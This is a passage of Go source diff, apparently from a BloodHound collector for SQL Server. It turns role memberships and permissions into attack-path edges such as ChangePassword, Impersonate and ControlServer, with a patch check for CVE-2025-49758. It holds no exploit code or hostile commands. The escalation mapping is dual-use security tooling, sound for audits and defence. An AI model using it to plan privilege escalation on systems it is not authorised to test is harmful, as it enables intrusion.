createFixedRoleEdges(writer *bloodhound.StreamingWriter, serverInfo *types.ServerInfo) error { + // Fixed server roles with special capabilities + for _, principal := range serverInfo.ServerPrincipals { + if principal.TypeDescription != "SERVER_ROLE" || !principal.IsFixedRole { + continue + } + + switch principal.Name { + case "sysadmin": + // sysadmin has CONTROL SERVER + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.ControlServer, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.ServerRole, + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + case "securityadmin": + // securityadmin can grant any permission + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.GrantAnyPermission, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.ServerRole, + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // securityadmin also has ALTER ANY LOGIN + edge = c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyLogin, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.ServerRole, + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Also create ChangePassword edges to SQL logins (same logic as explicit ALTER ANY LOGIN) + for _, targetPrincipal := range serverInfo.ServerPrincipals { + if targetPrincipal.TypeDescription != "SQL_LOGIN" { + continue + } + if targetPrincipal.Name == "sa" { + continue + } + if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier { + continue + } + + // Check if target has sysadmin or CONTROL SERVER (including nested) + targetHasSysadmin := c.hasNestedRoleMembership(targetPrincipal, "sysadmin", serverInfo) + targetHasControlServer := c.hasEffectivePermission(targetPrincipal, "CONTROL SERVER", serverInfo) + + if !targetHasSysadmin && !targetHasControlServer { + // Check CVE-2025-49758 patch status to determine if edge should be created + if !c.shouldCreateChangePasswordEdge(serverInfo, targetPrincipal) { + continue + } + + edge := c.createEdge( + principal.ObjectIdentifier, + targetPrincipal.ObjectIdentifier, + bloodhound.EdgeKinds.ChangePassword, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.ServerRole, + TargetName: targetPrincipal.Name, + TargetType: bloodhound.NodeKinds.Login, + TargetTypeDescription: targetPrincipal.TypeDescription, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: "ALTER ANY LOGIN", + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + case "##MS_LoginManager##": + // SQL Server 2022+ fixed role: has ALTER ANY LOGIN permission + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyLogin, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.ServerRole, + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Also create ChangePassword edges to SQL logins (same logic as ALTER ANY LOGIN) + for _, targetPrincipal := range serverInfo.ServerPrincipals { + if targetPrincipal.TypeDescription != "SQL_LOGIN" { + continue + } + if targetPrincipal.Name == "sa" { + continue + } + if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier { + continue + } + + // Check if target has sysadmin or CONTROL SERVER (including nested) + targetHasSysadmin := c.hasNestedRoleMembership(targetPrincipal, "sysadmin", serverInfo) + targetHasControlServer := c.hasEffectivePermission(targetPrincipal, "CONTROL SERVER", serverInfo) + + if !targetHasSysadmin && !targetHasControlServer { + if !c.shouldCreateChangePasswordEdge(serverInfo, targetPrincipal) { + continue + } + + cpEdge := c.createEdge( + principal.ObjectIdentifier, + targetPrincipal.ObjectIdentifier, + bloodhound.EdgeKinds.ChangePassword, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.ServerRole, + TargetName: targetPrincipal.Name, + TargetType: bloodhound.NodeKinds.Login, + TargetTypeDescription: targetPrincipal.TypeDescription, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: "ALTER ANY LOGIN", + }, + ) + if err := writer.WriteEdge(cpEdge); err != nil { + return err + } + } + } + + case "##MS_DatabaseConnector##": + // SQL Server 2022+ fixed role: has CONNECT ANY DATABASE permission + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.ConnectAnyDatabase, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.ServerRole, + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // Fixed database roles with special capabilities + for _, db := range serverInfo.Databases { + for _, principal := range db.DatabasePrincipals { + if principal.TypeDescription != "DATABASE_ROLE" || !principal.IsFixedRole { + continue + } + + switch principal.Name { + case "db_owner": + // db_owner has CONTROL on the database - create both Control and ControlDB edges + // MSSQL_Control (non-traversable) - matches PowerShell behavior + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.Control, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.DatabaseRole, + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + TargetTypeDescription: "DATABASE", + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // MSSQL_ControlDB (traversable) + edge = c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.ControlDB, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.DatabaseRole, + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + TargetTypeDescription: "DATABASE", + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // NOTE: db_owner does NOT create explicit AddMember or ChangePassword edges + // Its ability to add members and change passwords comes from the implicit ControlDB permission + // PowerShell doesn't create these edges from db_owner either + + case "db_securityadmin": + // db_securityadmin can grant any database permission + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.GrantAnyDBPermission, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.DatabaseRole, + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // db_securityadmin has ALTER ANY APPLICATION ROLE permission + edge = c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyAppRole, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.DatabaseRole, + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // db_securityadmin has ALTER ANY ROLE permission + edge = c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyDBRole, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.DatabaseRole, + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // db_securityadmin can add members to user-defined roles only (not fixed roles) + // Also exclude the public role as its membership cannot be changed + for _, targetRole := range db.DatabasePrincipals { + if targetRole.TypeDescription == "DATABASE_ROLE" && + !targetRole.IsFixedRole && + targetRole.Name != "public" { + edge := c.createEdge( + principal.ObjectIdentifier, + targetRole.ObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.DatabaseRole, + TargetName: targetRole.Name, + TargetType: bloodhound.NodeKinds.DatabaseRole, + TargetTypeDescription: targetRole.TypeDescription, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // db_securityadmin can change password for application roles (via ALTER ANY APPLICATION ROLE) + for _, appRole := range db.DatabasePrincipals { + if appRole.TypeDescription == "APPLICATION_ROLE" { + edge := c.createEdge( + principal.ObjectIdentifier, + appRole.ObjectIdentifier, + bloodhound.EdgeKinds.ChangePassword, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.DatabaseRole, + TargetName: appRole.Name, + TargetType: bloodhound.NodeKinds.ApplicationRole, + TargetTypeDescription: appRole.TypeDescription, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + case "db_accessadmin": + // db_accessadmin does NOT have any special permissions that create edges + // Its role is to manage database access (adding users), which is handled + // through its membership in the database, not through explicit permissions + } + } + } + + return nil +} + +// createServerPermissionEdges creates edges based on server-level permissions +func (c *Collector) createServerPermissionEdges(writer *bloodhound.StreamingWriter, serverInfo *types.ServerInfo) error { + principalMap := make(map[int]*types.ServerPrincipal) + for i := range serverInfo.ServerPrincipals { + principalMap[serverInfo.ServerPrincipals[i].PrincipalID] = &serverInfo.ServerPrincipals[i] + } + + for _, principal := range serverInfo.ServerPrincipals { + for _, perm := range principal.Permissions { + if perm.State != "GRANT" && perm.State != "GRANT_WITH_GRANT_OPTION" { + continue + } + + switch perm.Permission { + case "CONTROL SERVER": + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.ControlServer, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + case "CONNECT SQL": + // CONNECT SQL permission allows connecting to the server + // Only create edge if the principal is not disabled + if !principal.IsDisabled { + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.Connect, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + case "CONNECT ANY DATABASE": + // CONNECT ANY DATABASE permission allows connecting to any database + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.ConnectAnyDatabase, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + case "CONTROL": + // CONTROL on a server principal (login/role) + if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" { + targetPrincipal := principalMap[perm.TargetPrincipalID] + targetName := perm.TargetName + targetType := bloodhound.NodeKinds.Login + targetTypeDesc := "" + isServerRole := false + isLogin := false + if targetPrincipal != nil { + targetName = targetPrincipal.Name + targetTypeDesc = targetPrincipal.TypeDescription + if targetPrincipal.TypeDescription == "SERVER_ROLE" { + targetType = bloodhound.NodeKinds.ServerRole + isServerRole = true + } else { + // It's a login type (WINDOWS_LOGIN, SQL_LOGIN, etc.) + isLogin = true + } + } + + // First create non-traversable MSSQL_Control edge (matches PowerShell) + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.Control, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // CONTROL on login = ImpersonateLogin (MSSQL_ExecuteAs), no restrictions (even sa) + if isLogin { + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ExecuteAs, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // CONTROL implies AddMember and ChangeOwner for server roles + if isServerRole { + // Can only add members to fixed roles if source is member (except sysadmin) + // or to user-defined roles + canAddMember := false + if targetPrincipal != nil && !targetPrincipal.IsFixedRole { + canAddMember = true + } + // Check if source is member of target fixed role (except sysadmin) + if targetPrincipal != nil && targetPrincipal.IsFixedRole && targetName != "sysadmin" { + for _, membership := range principal.MemberOf { + if membership.Name == targetName { + canAddMember = true + break + } + } + } + + if canAddMember { + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ChangeOwner, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + case "ALTER": + // ALTER on a server principal (login/role) + if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" { + targetPrincipal := principalMap[perm.TargetPrincipalID] + targetName := perm.TargetName + targetType := bloodhound.NodeKinds.Login + targetTypeDesc := "" + isServerRole := false + if targetPrincipal != nil { + targetName = targetPrincipal.Name + targetTypeDesc = targetPrincipal.TypeDescription + if targetPrincipal.TypeDescription == "SERVER_ROLE" { + targetType = bloodhound.NodeKinds.ServerRole + isServerRole = true + } + } + + // Always create the MSSQL_Alter edge (matches PowerShell) + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.Alter, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // For server roles, also create AddMember edge if conditions are met + if isServerRole { + canAddMember := false + // User-defined roles: anyone with ALTER can add members + if targetPrincipal != nil && !targetPrincipal.IsFixedRole { + canAddMember = true + } + // Fixed roles (except sysadmin): can add members if source is member of the role + if targetPrincipal != nil && targetPrincipal.IsFixedRole && targetName != "sysadmin" { + for _, membership := range principal.MemberOf { + if membership.Name == targetName { + canAddMember = true + break + } + } + } + if canAddMember { + addMemberEdge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(addMemberEdge); err != nil { + return err + } + } + } + } + + case "TAKE OWNERSHIP": + // TAKE OWNERSHIP on a server principal + if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" { + targetPrincipal := principalMap[perm.TargetPrincipalID] + targetName := perm.TargetName + targetType := bloodhound.NodeKinds.Login + targetTypeDesc := "" + if targetPrincipal != nil { + targetName = targetPrincipal.Name + targetTypeDesc = targetPrincipal.TypeDescription + if targetPrincipal.TypeDescription == "SERVER_ROLE" { + targetType = bloodhound.NodeKinds.ServerRole + } + } + + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.TakeOwnership, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // TAKE OWNERSHIP on SERVER_ROLE also grants ChangeOwner (matches PowerShell) + if targetPrincipal != nil && targetPrincipal.TypeDescription == "SERVER_ROLE" { + changeOwnerEdge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ChangeOwner, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: bloodhound.NodeKinds.ServerRole, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(changeOwnerEdge); err != nil { + return err + } + } + } + + case "IMPERSONATE": + if perm.ClassDesc == "SERVER_PRINCIPAL" && perm.TargetObjectIdentifier != "" { + targetPrincipal := principalMap[perm.TargetPrincipalID] + targetName := perm.TargetName + targetTypeDesc := "" + if targetPrincipal != nil { + targetName = targetPrincipal.Name + targetTypeDesc = targetPrincipal.TypeDescription + } + + // MSSQL_Impersonate edge (matches PowerShell which uses MSSQL_Impersonate at server level) + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.Impersonate, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: bloodhound.NodeKinds.Login, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Also create ExecuteAs edge (PowerShell creates both) + edge = c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ExecuteAs, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: bloodhound.NodeKinds.Login, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + case "IMPERSONATE ANY LOGIN": + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.ImpersonateAnyLogin, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + case "ALTER ANY LOGIN": + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyLogin, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // ALTER ANY LOGIN also creates ChangePassword edges to SQL logins + // PowerShell logic: target must be SQL_LOGIN, not sa, not sysadmin/CONTROL SERVER + for _, targetPrincipal := range serverInfo.ServerPrincipals { + if targetPrincipal.TypeDescription != "SQL_LOGIN" { + continue + } + if targetPrincipal.Name == "sa" { + continue + } + if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier { + continue + } + + // Check if target has sysadmin or CONTROL SERVER (including nested) + targetHasSysadmin := c.hasNestedRoleMembership(targetPrincipal, "sysadmin", serverInfo) + targetHasControlServer := c.hasEffectivePermission(targetPrincipal, "CONTROL SERVER", serverInfo) + + if targetHasSysadmin || targetHasControlServer { + continue + } + + // Check CVE-2025-49758 patch status to determine if edge should be created + if !c.shouldCreateChangePasswordEdge(serverInfo, targetPrincipal) { + continue + } + + // Create ChangePassword edge + edge := c.createEdge( + principal.ObjectIdentifier, + targetPrincipal.ObjectIdentifier, + bloodhound.EdgeKinds.ChangePassword, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetPrincipal.Name, + TargetType: bloodhound.NodeKinds.Login, + TargetTypeDescription: targetPrincipal.TypeDescription, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + case "ALTER ANY SERVER ROLE": + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyServerRole, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Also create AddMember edges to each applicable server role + // Matches PowerShell: user-defined roles always, fixed roles only if source is direct member (except sysadmin) + for _, targetRole := range serverInfo.ServerPrincipals { + if targetRole.TypeDescription != "SERVER_ROLE" { + continue + } + + canAlterRole := false + if !targetRole.IsFixedRole { + // User-defined role: anyone with ALTER ANY SERVER ROLE can alter it + canAlterRole = true + } else if targetRole.Name != "sysadmin" { + // Fixed role (except sysadmin): can only add members if source is a direct member + for _, membership := range principal.MemberOf { + if membership.Name == targetRole.Name { + canAlterRole = true + break + } + } + } + + if canAlterRole { + addMemberEdge := c.createEdge( + principal.ObjectIdentifier, + targetRole.ObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: targetRole.Name, + TargetType: bloodhound.NodeKinds.ServerRole, + TargetTypeDescription: targetRole.TypeDescription, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(addMemberEdge); err != nil { + return err + } + } + } + } + } + } + + return nil +} + +// createDatabasePermissionEdges creates edges based on database-level permissions +func (c *Collector) createDatabasePermissionEdges(writer *bloodhound.StreamingWriter, db *types.Database, serverInfo *types.ServerInfo) error { + principalMap := make(map[int]*types.DatabasePrincipal) + for i := range db.DatabasePrincipals { + principalMap[db.DatabasePrincipals[i].PrincipalID] = &db.DatabasePrincipals[i] + } + + for _, principal := range db.DatabasePrincipals { + for _, perm := range principal.Permissions { + if perm.State != "GRANT" && perm.State != "GRANT_WITH_GRANT_OPTION" { + continue + } + + switch perm.Permission { + case "CONTROL": + if perm.ClassDesc == "DATABASE" { + // Create MSSQL_Control (non-traversable) edge + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.Control, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + TargetTypeDescription: "DATABASE", + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Create MSSQL_ControlDB (traversable) edge + edge = c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.ControlDB, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + TargetTypeDescription: "DATABASE", + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } else if perm.ClassDesc == "DATABASE_PRINCIPAL" && perm.TargetObjectIdentifier != "" { + // CONTROL on a database principal (user/role) + targetPrincipal := principalMap[perm.TargetPrincipalID] + targetName := perm.TargetName + targetType := bloodhound.NodeKinds.DatabaseUser + targetTypeDesc := "" + isRole := false + isUser := false + if targetPrincipal != nil { + targetName = targetPrincipal.Name + targetType = c.getDatabasePrincipalType(targetPrincipal.TypeDescription) + targetTypeDesc = targetPrincipal.TypeDescription + isRole = targetPrincipal.TypeDescription == "DATABASE_ROLE" + isUser = targetPrincipal.TypeDescription == "WINDOWS_USER" || + targetPrincipal.TypeDescription == "WINDOWS_GROUP" || + targetPrincipal.TypeDescription == "SQL_USER" || + targetPrincipal.TypeDescription == "ASYMMETRIC_KEY_MAPPED_USER" || + targetPrincipal.TypeDescription == "CERTIFICATE_MAPPED_USER" + } + + // First create the non-traversable MSSQL_Control edge + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.Control, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Use specific edge type based on target + if isRole { + // CONTROL on role = Add members + Change owner + edge = c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + edge = c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ChangeOwner, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: 